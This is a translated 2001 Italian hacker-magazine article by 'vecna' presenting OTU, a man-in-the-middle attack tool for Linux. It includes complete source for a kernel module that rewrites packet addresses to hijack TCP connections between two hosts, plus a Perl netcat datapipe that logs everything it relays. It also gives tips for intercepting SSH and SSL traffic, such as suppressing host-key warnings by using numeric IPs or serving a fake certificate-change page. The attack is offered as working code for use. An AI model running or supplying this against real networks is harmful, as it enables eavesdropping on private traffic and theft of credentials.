----------------- vecna@s0ftpj.org -- OTU | advanced man in the middle |---- -- coded 9/7/2001 ------------------------| concept and code for linux |---- published on BFi#10 italian security magazine 1/10/2001, translated with help of vodka 12/11/2001. (full package on http://www.s0ftpj.org) 1 -] How this project is born We all know that SSH and SSL perform secure data transport because at the starting of the connection any peer send its public key and with this receive the simmetric key which will be used since this time for encrypting all connections. This is a good protection against any passive sniffing attack (except for the good study about passive ssh traffic analysis) but it doesn't protect against the man in the middle attack. Dsniff and ettercap are two really good sniffer implementing the man in the middle attack for SSH and SSL... These tools work by simple network hijacking: assigning to the sniffing box the MAC address of the attacked host we can proxy the secure connection...thee connection is established with the sniffing proxy host and is the proxy which make the connection with the real destination host. But...what is the problem with sniffer supporting SSL/SSH/telnet/irc/blabla/any_protocol_you_may_think_of? This code requires the implementation of any protocol from layer 3 to layer 5 to make the connection tracking possible and to read the segment of transmission we are interested in. This is a really big work, but...I prefer coding at kernel space...after one old unesuful but good for researching (drang project), I've seen how one simple module can constitue an interface for spoofing ingoing/outgoing packets. By this work I can use a simple userspace client/server such BitchX, telnetd, stunnel while I keep my simple client with its socket (AF_INET, SOCK_*, IPPROTO_*) and connect()/sendto() without this info.. I make a simple connection and my kernel, after normally using the client code intercepts the outgoing packets and change the ip source. This is for making transparent spoofing and can be replaced by netfilter/iptables and the *NAT code, a very good work this ;) But wait! These words do make sense only for sending spoofed packets with a simple client without making call socket with raw sock and manual packet forging... but on this project we want to make a man in the middle and I needed to build a sniffer and a sender. With the approach explained above it's really simple to make up our box able to read packets (usually marked as PACKET_OTHERHOST) reaching our network with one of the possible mitm techniques. In addiction this system doesn't require a specific kind of mitm hijacking but any kind of these can be interfaced with OTU, and in particular any point of the network can be used for mitm with some different approach: - on the same LAN, with ARP hijacking, as with ettercap and dsniff, you must use a simple arp forger and a simple shell script with 1 cicle :P - on the GW. On this the packets aren't marked as PACKET_OTHERHOST but don't influence anything because my module checks only source/destination addresses. On this case you only have to load the module, start userspace pipe and... wait :p - on intermediate router, with a tunnel GRE hijacking (if supported) or using any other hijacking technique. A good work about this subject can be repered on Phrack56. You will need to clear the packets from the GRE header but this is a not so difficult task to achieve if your code is referring to the code from IPIP and GRE between kernel tree. - on one of the two attcaked hosts, but if you're working at kernel space it can be better and easier hack at STD*_FILENO layer in order to avoid the possible routing errors between the interfaces. 2 -] A little explanation This module work monitoring two hosts and became a mitm wrapper for any connection between the two hosts, in order to attack specific services you have to add few lines making the sport/dport check. As usual i've coded with kernel 2.4 using netfilter hooks for hacking packets, but in this case is better referred with the old kernel 2.2 hack explained on Phrack by kossak/lifeline by adding a new function pointer on packet_type struct. In our case this implementation works better also because it acts at a more external layer and this way I can easily mangle both ingoing and outgoing packets before any routing/filtering/forwarding rule. Deep on details now! A <--------->\ /<---------> B | | | | \- C -/ On the module work three hots: A = one of the two attacked hosts B = the other attacked host C = our box with our ip and our load average and other hijacked packets MITM sits between A and B. It receives A's packets destined to B, and it does perform a destination change with IP address of MITM instead of B. This way it will seem that B want a connection toward MITM, the so modified packet will flow up to top layers through the tcp/ip stack and using socket/write interfaces and userspace applications. In place of B (the server) service there is now our service which supports the same protocol but attached to a datapipe. This datapipe only interfaces stdin and stdout of 2 processes, and these processes are netcat. And netcat connects his streams by mean of sockets. If we put a netcat on the client (NCC) and a netcat on the server (NCS), when NCC receives something it will pass it to NCS and viceversa. This is a bidirectional flow and between the 2 netcats we have the datapipe logging all the contents flowing. When we see a packet having source A or B and destination A or B, this is one of the packets we want to hijack and need to send at our userspace program with our tcp/ip stack. In this case we change the destination address with our ip and the packets result sent to our box. We need to listen on two connection: the one between host C and host A and the other between host B and host C. We simply read any from the couple of connection and make a datapipe. In addiction, for making up real these two connections we need to spoof the reply/data packets sent by our userspace datapipe and spoof it for both hosts. If we find packets with source C and destination A, then the source become B. If destination is B the source become A. Source code of module, tested under linux 2.4.9 and 2.4.5 ---- otu.c ---- #define __KERNEL__ #define MODULE #include #include #include #include #include #include #include #include #include #include #include #include #include #include static void tcpudp_csum(struct sk_buff *, unsigned int, unsigned int ); static unsigned int inet_addr(char *); static struct packet_type lrd; static char *host1, *host2, *mitm; static unsigned int p1, p2, local_addr; MODULE_PARM(host1, "s"); MODULE_PARM(host2, "s"); MODULE_PARM(mitm, "s"); /* -- * * packets with source 2|1 and dest 1|2 change dest with MITM. * packets with source MITM and dest 1|2 change source with opposite of dest * -- * * on this module coded for 2.4 kernel I use struct packet_type.func injecton * than hook options feature of netfilter, this because with one function I * can read any packet at datalink layer ad check PACKET_OTHERHOST and * PACKET_HOST and PACKET_OUTGOING more easy. * this is less performantic but can't to be a big problem :P * -- */ static int redir(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt) { unsigned int osaddr =skb->nh.iph->saddr; unsigned int odaddr =skb->nh.iph->daddr; unsigned int *src_ip =&skb->nh.iph->saddr; unsigned int *dst_ip =&skb->nh.iph->daddr; if(skb->nh.iph->protocol !=IPPROTO_TCP) goto end; if(*src_ip ==local_addr && (*dst_ip ==p2 || *dst_ip ==p1)) { *src_ip =(*dst_ip ==p2) ? p1 : p2; goto checksum; } if((*src_ip ==p1 && *dst_ip ==p2) || (*dst_ip ==p1 && *src_ip ==p2)) *dst_ip =local_addr; checksum: skb->nh.iph->check =0x0000; ip_send_check(skb->nh.iph); tcpudp_csum(skb, osaddr, odaddr); end: kfree_skb(skb); return(0); } void tcpudp_csum(struct sk_buff *x, unsigned int osaddr, unsigned int odaddr) { struct iphdr *iph =x->nh.iph; unsigned short check =0x0000; unsigned short *cksum; cksum =(unsigned short *)&((struct tcphdr *) (((char *)iph) +(iph->ihl<<2)))->check; check =csum_tcpudp_magic(iph->saddr, iph->daddr, 0, IPPROTO_TCP, ~(*cksum)); *cksum =csum_tcpudp_magic(~osaddr, ~odaddr, 0, 0, ~check); *cksum +=htons(IPPROTO_TCP); } init_module(void) { /* setting hook struct */ if((host1 ==NULL && host2 ==NULL) || mitm ==NULL) { printk(KERN_ERR "insmod lshjk.o host1=foo.com host2=wow2.net" " mitm=myip.it\n"); return -EDESTADDRREQ; } p1 =(host1 !=NULL) ? inet_addr(host1) : 0; p2 =(host2 !=NULL) ? inet_addr(host2) : 0; local_addr =inet_addr(mitm); lrd.type =htons(ETH_P_ALL); lrd.func =redir; lrd.dev =NULL; dev_add_pack(&lrd); printk(KERN_INFO "test module for local socket hijacking\n"); return 0; } void cleanup_module(void) { dev_remove_pack(&lrd); printk(KERN_INFO "local socket hijacker unloaded\n"); } unsigned int inet_addr(char *str) { unsigned long l; unsigned int val; int i; l = 0; for (i =0; i < 4; i++) { l <<= 8; if(*str !='\0') { val = 0; while (*str != '\0' && *str != '.') { val *= 10; val += *str - '0'; str++; } l |= val; if (*str != '\0') str++; } } return(htonl(l)); } ---- end otu.c ---- ---- mitm.pl ---- #!/usr/bin/perl -w use strict; use FileHandle; use IPC::Open2; use IO::Select; use Symbol; $SIG{PIPE} = "IGNORE"; my($arg1,$arg2) = @ARGV; my($r1,$w1,$r2,$w2) = (gensym,gensym,gensym,gensym); my $pid1 = open2($r1, $w1, $arg1 ); my $pid2 = open2($r2, $w2, $arg2 ); my $old=select($w1); $|=1; select($w2); $|=1; select($old); open(LOG,">>log.txt") || die("open: $!"); $old=select(LOG); $|=1; select($old); my $s = IO::Select->new(); $s->add($r1); $s->add($r2); my %map = ( $r1 => $w2, $r2 => $w1 ); while(1) { while(my @ready = $s->can_read) { for my $f (@ready) { ready($f); } } die "select: $!" if $!; } sub ready { my ($pipe,$len) = shift; print "pipe: ",fileno($pipe); check( $pipe, $len = sysread($pipe,my $data,1024) ); if($len) { print LOG $data; my $peer = $map{$pipe}; check( $peer, $len = syswrite($peer,$data) ); } } sub check { my $p = shift; my $len = shift; if(!defined $len) { print "error"; $s->remove($p); close($p); } elsif($len==0) { print "eof"; $s->remove($p); close($p); } } ---- end mitm.pl ---- 3 -] secure protocols SSH, SSL, SRP These secure protocols provide a fix for the man in the middle attack because if one client host see the server sending a different key, it print a mega-warning message about a possible dns-spoofing (if you put the server's ip numeric address in place of the hostname, then the message doesn't appear if in ssh/known_hosts only the hostnames entries are listed) The same problem is found in SSL certificated boxes, but in https case you may also send fake html page announcing a change on the x.509 certificate. 4 -] 2 words about mitm.pl The author of this program is ya, her homesite is at http://yawna.free.fr If you use irc try her perl/tk irc client :) [end of the spot - tnx for your perl code :) ] usage: ./mitm "first_netcat_on_listen_peer1" "second_netcat_connected_on_peer2" do you want to hack SSL? Use stunnel and netcat :P all data is logged in append mode on log.txt 5 -] LICENSE This software is distributed under GPL2 license but with less restrictions, if this code is useful for you, your kernel's brain will have to fight with the strange feeling and the little telepatical voice repeating continuosly "offer a beer to vecna...offer one beer to vecna@s0ftpj.org.." until you offer me that beer :P